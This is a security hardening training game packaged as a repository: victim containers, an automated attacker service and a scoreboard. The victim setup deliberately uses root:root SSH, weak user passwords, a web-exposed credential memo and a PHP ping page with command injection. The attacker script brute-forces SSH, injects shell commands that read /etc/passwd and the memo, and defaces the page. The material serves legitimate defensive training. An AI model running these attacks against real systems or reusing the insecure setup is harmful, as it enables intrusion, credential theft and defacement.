├── blue ├── apache │ ├── memo.txt │ ├── .htaccess │ ├── default.conf │ └── index.php ├── Dockerfile └── setup.sh ├── red ├── requirements.txt ├── uwsgi.ini ├── Dockerfile ├── README.md └── app.py ├── score-server ├── Dockerfile ├── package.json ├── public │ └── styles.css ├── index.js └── views │ └── index.ejs ├── LICENSE ├── README.md └── compose.yaml /blue/apache/memo.txt: -------------------------------------------------------------------------------- 1 | dev user's password 2 | 3 | dev:devpass 4 | -------------------------------------------------------------------------------- /red/requirements.txt: -------------------------------------------------------------------------------- 1 | requests==2.32.3 2 | paramiko==3.5.0 3 | Flask == 3.0.3 4 | uWSGI == 2.0.23 -------------------------------------------------------------------------------- /blue/apache/.htaccess: -------------------------------------------------------------------------------- 1 | # ルートにアクセスがあった場合、index.phpにリダイレクト 2 | RewriteEngine On 3 | RewriteCond %{REQUEST_URI} ^/$ 4 | RewriteRule ^$ /index.php [L] -------------------------------------------------------------------------------- /score-server/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:21-alpine 2 | 3 | WORKDIR /app 4 | 5 | COPY package.json ./ 6 | 7 | RUN npm i 8 | 9 | COPY . . 10 | 11 | RUN adduser -D web 12 | USER web 13 | 14 | CMD ["npm", "start"] -------------------------------------------------------------------------------- /red/uwsgi.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | wsgi-file = app.py 3 | callable = app 4 | master = true 5 | processes = 4 6 | threads = 4 7 | http = :5555 8 | chmod-socket = 666 9 | vacuum = true 10 | die-on-term = true 11 | py-autoreload = 1 -------------------------------------------------------------------------------- /blue/apache/default.conf: -------------------------------------------------------------------------------- 1 | 2 | DocumentRoot /var/www/html 3 | 4 | 5 | AllowOverride All 6 | 7 | 8 | CustomLog /var/log/apache2/access.log combined 9 | 10 | -------------------------------------------------------------------------------- /red/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.12-bullseye 2 | 3 | RUN mkdir /var/www 4 | WORKDIR /var/www 5 | COPY ./ ./ 6 | 7 | RUN pip3 install -r requirements.txt 8 | 9 | ENV LANG C.UTF-8 10 | 11 | RUN chmod 755 -R /var/www 12 | RUN adduser -u 1000 red 13 | USER red 14 | 15 | CMD ["uwsgi", "--ini", "/var/www/uwsgi.ini"] -------------------------------------------------------------------------------- /score-server/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "score-server", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "start": "node index.js" 8 | }, 9 | "dependencies": { 10 | "express": "^4.19.2", 11 | "ejs": "^3.1.10", 12 | "axios": "^1.7.7" 13 | }, 14 | "author": "yuasa", 15 | "license": "MIT" 16 | } -------------------------------------------------------------------------------- /blue/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:24.04 2 | 3 | ENV DEBIAN_FRONTEND=noninteractive 4 | 5 | WORKDIR /blue 6 | 7 | RUN apt-get update && \ 8 | apt-get install -y \ 9 | apache2 \ 10 | php \ 11 | libapache2-mod-php \ 12 | php-mysql \ 13 | openssh-server \ 14 | iputils-ping \ 15 | build-essential \ 16 | net-tools \ 17 | ufw \ 18 | w3m \ 19 | openssh-server \ 20 | vim && \ 21 | apt-get clean 22 | 23 | COPY . . 24 | RUN chmod +x setup.sh 25 | 26 | RUN echo "ServerName localhost" >> /etc/apache2/apache2.conf 27 | 28 | EXPOSE 22 80 29 | 30 | RUN a2enmod php8.3 && \ 31 | a2enmod rewrite 32 | 33 | CMD ["/blue/setup.sh"] -------------------------------------------------------------------------------- /blue/apache/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Ping Checker 7 | 8 | 9 |

Ping Checker

10 | 11 |
12 | 13 | 14 | 15 |
16 | 17 | Ping result for $ip:"; 27 | echo "
$output
"; 28 | } 29 | ?> 30 | 31 | 32 | -------------------------------------------------------------------------------- /blue/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # user 4 | for i in {1..10}; do 5 | username="user$i" 6 | useradd -m $username 7 | echo "$username:$username" | chpasswd 8 | done 9 | echo "root:root" | chpasswd 10 | useradd -m dev 11 | echo "dev:devpass" | chpasswd 12 | 13 | # apache 14 | cp /blue/apache/default.conf /etc/apache2/sites-available/000-default.conf 15 | cp /blue/apache/index.php /var/www/html/index.php 16 | cp /blue/apache/memo.txt /var/www/html/memo.txt 17 | cp /blue/apache/.htaccess /var/www/html/.htaccess 18 | chown -R www-data:www-data /var/www/html/ 19 | a2ensite 000-default.conf 20 | apachectl start 21 | 22 | # ssh 23 | mkdir -p /run/sshd 24 | sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config 25 | sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /etc/ssh/sshd_config 26 | /usr/sbin/sshd -D & 27 | 28 | tail -f /dev/null -------------------------------------------------------------------------------- /score-server/public/styles.css: -------------------------------------------------------------------------------- 1 | body { 2 | font-family: Arial, sans-serif; 3 | background-color: #f4f4f4; 4 | margin: 0; 5 | padding: 20px; 6 | } 7 | 8 | h1 { 9 | text-align: center; 10 | color: #333; 11 | } 12 | 13 | table { 14 | width: 50%; 15 | margin: 20px auto; 16 | border-collapse: collapse; 17 | background-color: #fff; 18 | box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); 19 | } 20 | 21 | th, td { 22 | padding: 12px; 23 | text-align: center; 24 | border-bottom: 1px solid #ddd; 25 | } 26 | 27 | th { 28 | background-color: #4CAF50; 29 | color: white; 30 | } 31 | 32 | tr:hover { 33 | background-color: #f5f5f5; 34 | } 35 | 36 | td { 37 | color: #333; 38 | } 39 | 40 | #game-controls { 41 | text-align: center; 42 | margin-top: 20px; 43 | } 44 | 45 | button { 46 | padding: 10px 20px; 47 | background-color: #4CAF50; 48 | color: white; 49 | border: none; 50 | cursor: pointer; 51 | } 52 | 53 | button:hover { 54 | background-color: #45a049; 55 | } 56 | 57 | #timer { 58 | font-size: 1.5em; 59 | } 60 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 JJ (yuasa) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ochakai-hardening 2 |
3 | ochakai-hardening-logo 4 |
5 | 6 | Ochakai Hardening is a tool that allows users to easily experience incident response training. It was created with the aim of serving as an icebreaker within teams participating in Japan's security hardening competition, the "[ハードニング競技会](https://wasforum.jp/hardening-project/)". Also, Ochakai Hardening was inspired by [ayato-hardening](https://github.com/ayato-shitomi/ayato-hardening/tree/master). 7 | 8 | ## Setup 9 | 10 | ``` 11 | git clone https://github.com/melonattacker/ochakai-hardening.git 12 | cd ochakai-hardening 13 | docker compose up --build -d 14 | ``` 15 | 16 | The following components will be launched: 17 | - The environment to be hardened, which is provided to the players. (`playerX` (X: 1~7)) 18 | - An SSH server runs on port 2X022 (login is possible with `root:root`) 19 | - An web application accessible at http://localhost:2X080 20 | - Attacker server (`red`) 21 | - Score server (`score-server`) 22 | - Accessible at http://localhost:3000 23 | 24 | ## Game Rule 25 | - The competition time is 30 minutes. 26 | - Attacks will begin 10 minutes after the start of the competition. 27 | - The goal is to keep the web application operational. 28 | - Use `apachectl` for managing Apache operations. 29 | 30 | ## Game Start 31 | Click the `Start Game` button at http://localhost:3000. 32 | 33 | Screenshot 2024-10-04 at 13 01 56 34 | 35 | ## Attack Scenario 36 | **Note: Be careful, as this could be a SPOILER for the players.** 37 | - [Attack Scenario](./red/README.md) 38 | -------------------------------------------------------------------------------- /compose.yaml: -------------------------------------------------------------------------------- 1 | services: 2 | player1: 3 | build: ./blue 4 | tty: true 5 | ports: 6 | - "21022:22" 7 | - "21080:80" 8 | networks: 9 | ochakai-network: 10 | ipv4_address: 172.18.0.11 11 | 12 | player2: 13 | build: ./blue 14 | tty: true 15 | ports: 16 | - "22022:22" 17 | - "22080:80" 18 | networks: 19 | ochakai-network: 20 | ipv4_address: 172.18.0.12 21 | 22 | player3: 23 | build: ./blue 24 | tty: true 25 | ports: 26 | - "23022:22" 27 | - "23080:80" 28 | networks: 29 | ochakai-network: 30 | ipv4_address: 172.18.0.13 31 | 32 | player4: 33 | build: ./blue 34 | tty: true 35 | ports: 36 | - "24022:22" 37 | - "24080:80" 38 | networks: 39 | ochakai-network: 40 | ipv4_address: 172.18.0.14 41 | 42 | player5: 43 | build: ./blue 44 | tty: true 45 | ports: 46 | - "25022:22" 47 | - "25080:80" 48 | networks: 49 | ochakai-network: 50 | ipv4_address: 172.18.0.15 51 | 52 | player6: 53 | build: ./blue 54 | tty: true 55 | ports: 56 | - "26022:22" 57 | - "26080:80" 58 | networks: 59 | ochakai-network: 60 | ipv4_address: 172.18.0.16 61 | 62 | player7: 63 | build: ./blue 64 | tty: true 65 | ports: 66 | - "27022:22" 67 | - "27080:80" 68 | networks: 69 | ochakai-network: 70 | ipv4_address: 172.18.0.17 71 | 72 | red: 73 | build: ./red 74 | tty: true 75 | ports: 76 | - "5555:5555" 77 | networks: 78 | ochakai-network: 79 | ipv4_address: 172.18.0.18 80 | 81 | score-server: 82 | build: ./score-server 83 | tty: true 84 | ports: 85 | - "3000:3000" 86 | networks: 87 | ochakai-network: 88 | ipv4_address: 172.18.0.19 89 | 90 | networks: 91 | ochakai-network: 92 | driver: bridge 93 | ipam: 94 | config: 95 | - subnet: 172.18.0.0/16 -------------------------------------------------------------------------------- /red/README.md: -------------------------------------------------------------------------------- 1 | # Attack Scenario 2 | 3 | ## Regular Checks 4 | Every 2 minutes, the server will be checked, and if all of the following conditions are met, 10 points will be awarded: 5 | - A web server is running on port 80 (returns status code 200). 6 | - The web application is functioning normally. 7 | 8 | ## Targeted Attacks 9 | Points will be awarded for preventing the following attacks: 10 | 11 | | Time | Event | Details | Points | 12 | |:-----|:-------------------------------|:--------------------------------------------------|:-----------------| 13 | | 0min | Start | | | 14 | | 10min| SSH Login to User | Attempts to log in as `root`, `user3`, `user8`, `user10`.
If logged in as `root`, stop the web server. | +10 x4 | 15 | | 15min| OS Command Injection Hint | Following commands executed via OS command injection:
`pwd`, `id`, `whoami`, `cat /etc/passwd` | +10 x4 | 16 | | 20min| Credential Leak | `memo.txt` is leaked via OS command injection | +50 | 17 | | 25min| Web Page Tampering | Web page is tampered via OS command injection | +50 | 18 | | 30min| End | | | 19 | 20 | ## Vulnerability Patching 21 | 22 | ```bash 23 | # Delete users 24 | for i in {1..10}; do userdel -r user$i; done 25 | # Change the root user's password 26 | echo "root:superrootpass" | chpasswd 27 | # Delete memo.txt 28 | rm /var/www/html/memo.txt 29 | # Patch OS command injection 30 | sed -i 's|//$ip = escapeshellarg($ip);|$ip = escapeshellarg($ip);|' /var/www/html/index.php && apachectl restart 31 | ``` 32 | 33 | ## OS Command Injection Vulnerability 34 | `/var/www/html/index.php` is a web application that returns the results of the Ping command, but it contains an OS command injection vulnerability. 35 | 36 | Screenshot 2024-10-04 at 13 50 01 37 | 38 | By sending `; {cmd}`(e.g., `; ls`) as the ip, arbitrary commands can be executed. 39 | 40 | Screenshot 2024-10-04 at 13 50 18 41 | 42 | To fix the vulnerability, you need to uncomment `//$ip = escapeshellarg($ip);` and ensure that the string passed to the shell command is properly escaped. 43 | 44 | ```php 45 | Ping result for $ip:"; 56 | echo "
$output
"; 57 | } 58 | ?> 59 | ``` 60 | 61 | -------------------------------------------------------------------------------- /score-server/index.js: -------------------------------------------------------------------------------- 1 | const express = require('express'); 2 | const axios = require('axios'); 3 | const app = express(); 4 | const port = 3000; 5 | 6 | app.set('view engine', 'ejs'); 7 | 8 | app.use(express.json()); 9 | app.use(express.static('public')); // Serve static files (e.g., CSS, JS) 10 | 11 | let gameStarted = false; 12 | let startTime = null; 13 | let elapsedTime = 0; 14 | 15 | const playerScores = { 16 | 1: { name: 'Player 1', score: 0 }, 17 | 2: { name: 'Player 2', score: 0 }, 18 | 3: { name: 'Player 3', score: 0 }, 19 | 4: { name: 'Player 4', score: 0 }, 20 | 5: { name: 'Player 5', score: 0 }, 21 | 6: { name: 'Player 6', score: 0 }, 22 | 7: { name: 'Player 7', score: 0 }, 23 | }; 24 | 25 | // Add score to the specified player 26 | app.post('/score', (req, res) => { 27 | const redIP = '::ffff:172.18.0.18'; 28 | if (req.ip !== redIP) { 29 | console.log(`Request from unauthorized IP: ${req.ip}`); 30 | return res.status(403).json({ status: 'Access denied' }); 31 | } 32 | const { player_id, score } = req.body; 33 | if (playerScores[player_id]) { 34 | playerScores[player_id].score += score; 35 | console.log(`Score updated for Player ${player_id}: ${playerScores[player_id].score}`); 36 | res.json({ status: 'success' }); 37 | } else { 38 | res.status(404).json({ status: 'Player not found' }); 39 | } 40 | }); 41 | 42 | // Start game by sending POST request to http://red:5555/game-start 43 | app.post('/start-game', async (req, res) => { 44 | try { 45 | const response = await axios.post('http://red:5555/game-start'); 46 | if (response.data.status === 'Game started') { 47 | gameStarted = true; 48 | startTime = Date.now(); 49 | return res.json({ status: 'Game started' }); 50 | } else { 51 | return res.status(500).json({ status: 'Failed to start game' }); 52 | } 53 | } catch (error) { 54 | console.error('Error starting game:', error.message); 55 | return res.status(500).json({ status: 'Failed to start game' }); 56 | } 57 | }); 58 | 59 | // Endpoint to return elapsed time 60 | app.get('/elapsed-time', (req, res) => { 61 | if (!gameStarted) { 62 | return res.json({ elapsedTime: 0 }); 63 | } 64 | 65 | elapsedTime = Math.floor((Date.now() - startTime) / 1000); // Elapsed time in seconds 66 | res.json({ elapsedTime }); 67 | }); 68 | 69 | // Serve the main page 70 | app.get('/', async (req, res) => { 71 | const players = Object.keys(playerScores).map(player_id => ({ 72 | name: playerScores[player_id].name, 73 | score: playerScores[player_id].score 74 | })); 75 | 76 | // Sort players by score in descending order 77 | players.sort((a, b) => b.score - a.score); 78 | 79 | // Calculate elapsed time for initial rendering 80 | if (gameStarted) { 81 | elapsedTime = Math.floor((Date.now() - startTime) / 1000); // In seconds 82 | } 83 | 84 | res.render('index', { players, gameStarted, elapsedTime }); 85 | }); 86 | 87 | // Start the server 88 | app.listen(port, () => { 89 | console.log(`Score server listening at http://localhost:${port}`); 90 | }); 91 | -------------------------------------------------------------------------------- /score-server/views/index.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Player Scores 7 | 8 | 34 | 35 | 36 |

Player Scores

37 | 38 | 39 |
40 | <% if (!gameStarted) { %> 41 | 42 | <% } %> 43 |

Elapsed Time: 0 minutes and 0 seconds

44 |
45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | <% players.forEach(function(player, index) { %> 57 | 58 | 59 | 60 | 61 | 62 | <% }) %> 63 | 64 |
RankPlayerScore
<%= index + 1 %> <%= player.name %><%= player.score %>
65 | 66 | 122 | 123 | 124 | -------------------------------------------------------------------------------- /red/app.py: -------------------------------------------------------------------------------- 1 | import time 2 | import paramiko 3 | import requests 4 | from flask import Flask, jsonify 5 | import threading 6 | 7 | # Variables for hostname and port numbers 8 | HOSTNAMES = [ 9 | 'player1', 10 | 'player2', 11 | 'player3', 12 | 'player4', 13 | 'player5', 14 | 'player6', 15 | 'player7', 16 | ] # Add more hostnames as needed 17 | SSH_PORT = 22 18 | HTTP_PORT = 80 19 | SCORE_SERVER_URL = 'http://score-server:3000/score' # URL to send score updates 20 | CHECK_INTERVAL = 120 # 2 minutes in seconds 21 | CHECK_DURATION = 1800 # 30 minutes in seconds 22 | 23 | # Create Flask app 24 | app = Flask(__name__) 25 | 26 | # Game running flag 27 | game_running = False 28 | game_lock = threading.Lock() 29 | 30 | # Function to send score update to score server 31 | def send_score_update(player_id, score): 32 | data = { 33 | 'player_id': player_id, 34 | 'score': score 35 | } 36 | try: 37 | response = requests.post(SCORE_SERVER_URL, json=data) 38 | print(f"Score updated for player {player_id}. Response Code: {response.status_code}") 39 | except Exception as e: 40 | print(f"Failed to send score update for player {player_id}: {e}") 41 | 42 | # Function to check if the web app returns status 200 43 | def check_status_code(player_id, hostname): 44 | try: 45 | url = f"http://{hostname}:{HTTP_PORT}/" 46 | response = requests.get(url) 47 | if response.status_code == 200: 48 | print(f"Web app on {hostname} returned status 200") 49 | send_score_update(player_id, 10) 50 | else: 51 | print(f"Web app on {hostname} did not return status 200") 52 | except Exception as e: 53 | print(f"Error checking status code on {hostname}: {e}") 54 | 55 | # Function to check if the web app is usable (ping test) 56 | def check_web_app_usage(player_id, hostname): 57 | try: 58 | url = f"http://{hostname}:{HTTP_PORT}/?ip=127.0.0.1" 59 | response = requests.get(url) 60 | 61 | if "127.0.0.1 ping statistics" in response.text: 62 | print(f"Web app on {hostname} is usable, ping successful") 63 | send_score_update(player_id, 10) 64 | else: 65 | print(f"Web app on {hostname} is not usable, ping failed") 66 | except Exception as e: 67 | print(f"Error checking web app usage on {hostname}: {e}") 68 | 69 | # Function to periodically check the web app's status and usability 70 | def periodic_check(): 71 | start_time = time.time() 72 | while time.time() - start_time < CHECK_DURATION: 73 | print("Starting periodic check for web app status and usability...") 74 | for index, hostname in enumerate(HOSTNAMES): 75 | check_status_code(index + 1, hostname) 76 | check_web_app_usage(index + 1, hostname) 77 | time.sleep(CHECK_INTERVAL) 78 | print("Periodic checks ended after 30 minutes.") 79 | 80 | # Function to attempt SSH login 81 | def ssh_login(hostname, port, username, password, player_id): 82 | try: 83 | client = paramiko.SSHClient() 84 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 85 | client.connect(hostname, port=port, username=username, password=password) 86 | print(f"SSH login successful for {username} on {hostname}") 87 | 88 | # If the login is for root, try to stop apache 89 | if username == 'root': 90 | client.exec_command('apachectl stop') 91 | 92 | client.close() 93 | except Exception as e: 94 | print(f"SSH login failed for {username} on {hostname}: {e}") 95 | send_score_update(player_id, 50) 96 | 97 | # Attempt SSH logins for a given step 98 | def ssh_logins(): 99 | print("Attempting SSH logins...") 100 | for index, hostname in enumerate(HOSTNAMES): 101 | ssh_login(hostname, SSH_PORT, 'root', 'root', index + 1) 102 | ssh_login(hostname, SSH_PORT, 'user3', 'user3', index + 1) 103 | ssh_login(hostname, SSH_PORT, 'user8', 'user8', index + 1) 104 | ssh_login(hostname, SSH_PORT, 'user10', 'user10', index + 1) 105 | 106 | # Attempts command injection for a given step 107 | def command_injection_requests(): 108 | print("Attempting command injection requests...") 109 | 110 | for index, hostname in enumerate(HOSTNAMES): 111 | url = f"http://{hostname}:{HTTP_PORT}/" 112 | 113 | # Define the commands to be executed 114 | commands = { 115 | 'pwd': '/var/www/html', 116 | 'id': 'www-data', 117 | 'whoami': 'www-data', 118 | 'cat /etc/passwd': 'www-data' 119 | } 120 | 121 | for command, expected_output in commands.items(): 122 | params = {'ip': f'; {command}'} 123 | try: 124 | response = requests.get(url, params=params) 125 | print(f"GET {command} to {hostname}, Response Code: {response.status_code}, Output: {response.text}") 126 | 127 | # Check if the response status is 200 and the expected output is in the response 128 | if response.status_code == 200 and expected_output in response.text: 129 | print(f"Command {command} executed successfully on {hostname}") 130 | else: 131 | print(f"Command {command} failed on {hostname}, '{expected_output}' not found") 132 | send_score_update(index + 1, 10) 133 | 134 | except Exception as e: 135 | print(f"Error with GET {command} to {hostname}: {e}") 136 | 137 | # Additional OS command injection: cat /var/www/html/memo.txt 138 | def additional_command_injection(): 139 | print("Attempting additional command injection: cat /var/www/html/memo.txt") 140 | for index, hostname in enumerate(HOSTNAMES): 141 | url = f"http://{hostname}:{HTTP_PORT}/" 142 | command = 'cat /var/www/html/memo.txt' 143 | 144 | params = {'ip': f'; {command}'} 145 | try: 146 | response = requests.get(url, params=params) 147 | print(f"POST {command} to {hostname}, Response Code: {response.status_code}, Output: {response.text}") 148 | 149 | # Check if "dev:devpass" is in the response 150 | if "dev:devpass" not in response.text: 151 | print(f"'dev:devpass' not found in {hostname}, adding 50 points") 152 | send_score_update(index + 1, 50) 153 | except Exception as e: 154 | print(f"Error with POST {command} to {hostname}: {e}") 155 | 156 | # Attempts to modify ping-checker page for a given step 157 | def modify_ping_checker(): 158 | print("Attempting to modify ping-checker page...") 159 | for index, hostname in enumerate(HOSTNAMES): 160 | url = f"http://{hostname}:{HTTP_PORT}/" 161 | payload = ('Hacked by Unknown' 165 | '

Hacked by Unknown

Your website is compromised.

' 166 | '

Take action immediately!

') 167 | 168 | params = {'ip': f'; echo "{payload}" > /var/www/html/index.php'} 169 | 170 | try: 171 | response = requests.get(url, params=params) 172 | print(f"POST modify request to {hostname}, Response Code: {response.status_code}") 173 | # Check if the page was modified 174 | time.sleep(5) 175 | modified_page = requests.get(url) 176 | if response.status_code == 200 and "Hacked by Unknown" not in modified_page.text: 177 | print(f"Failed to modify page on {hostname}") 178 | send_score_update(index + 1, 50) 179 | else: 180 | print(f"Page modified successfully on {hostname}") 181 | except Exception as e: 182 | print(f"Error with POST modify request to {hostname}: {e}") 183 | 184 | # The attack sequence for all steps 185 | def attack_sequence(): 186 | print("Starting attack sequence...") 187 | time.sleep(10*60) # Wait for 10 minutes before starting the attack 188 | 189 | # Step 1: SSH logins 190 | print("Step 1: SSH logins") 191 | ssh_logins() 192 | time.sleep(5*60) # Wait for 5 minutes before proceeding to the next step 193 | 194 | # Step 2: Command injection 195 | print("Step 2: Command injection") 196 | command_injection_requests() 197 | time.sleep(5*60) # Wait for 5 minutes before proceeding to the next step 198 | 199 | # Step 3: Additional OS command injection: cat /var/www/html/memo.txt 200 | print("Step 3: Additional OS command injection") 201 | additional_command_injection() 202 | time.sleep(5*60) # Wait for 5 minutes before proceeding to the next step 203 | 204 | # Step 4: Page modification 205 | print("Step 4: Page modification") 206 | modify_ping_checker() 207 | 208 | # Flask route to start the game 209 | @app.route('/game-start', methods=['POST']) 210 | def game_start(): 211 | global game_running 212 | with game_lock: 213 | if game_running: 214 | return jsonify({"status": "error", "message": "Game is already running"}), 400 215 | else: 216 | game_running = True 217 | 218 | # Start the attack sequence in a new thread 219 | attack_thread = threading.Thread(target=attack_sequence) 220 | attack_thread.start() 221 | 222 | # Start periodic check in a new thread 223 | periodic_check_thread = threading.Thread(target=periodic_check) 224 | periodic_check_thread.start() 225 | 226 | return jsonify({"status": "Game started"}), 200 227 | 228 | # Flask route to check health 229 | @app.route('/health', methods=['GET']) 230 | def health_check(): 231 | return jsonify({"status": "Healthy"}), 200 232 | 233 | # Main function to run the Flask server 234 | def main(): 235 | app.run(host='0.0.0.0', port=5555) 236 | 237 | # Execute 238 | if __name__ == "__main__": 239 | main() 240 | --------------------------------------------------------------------------------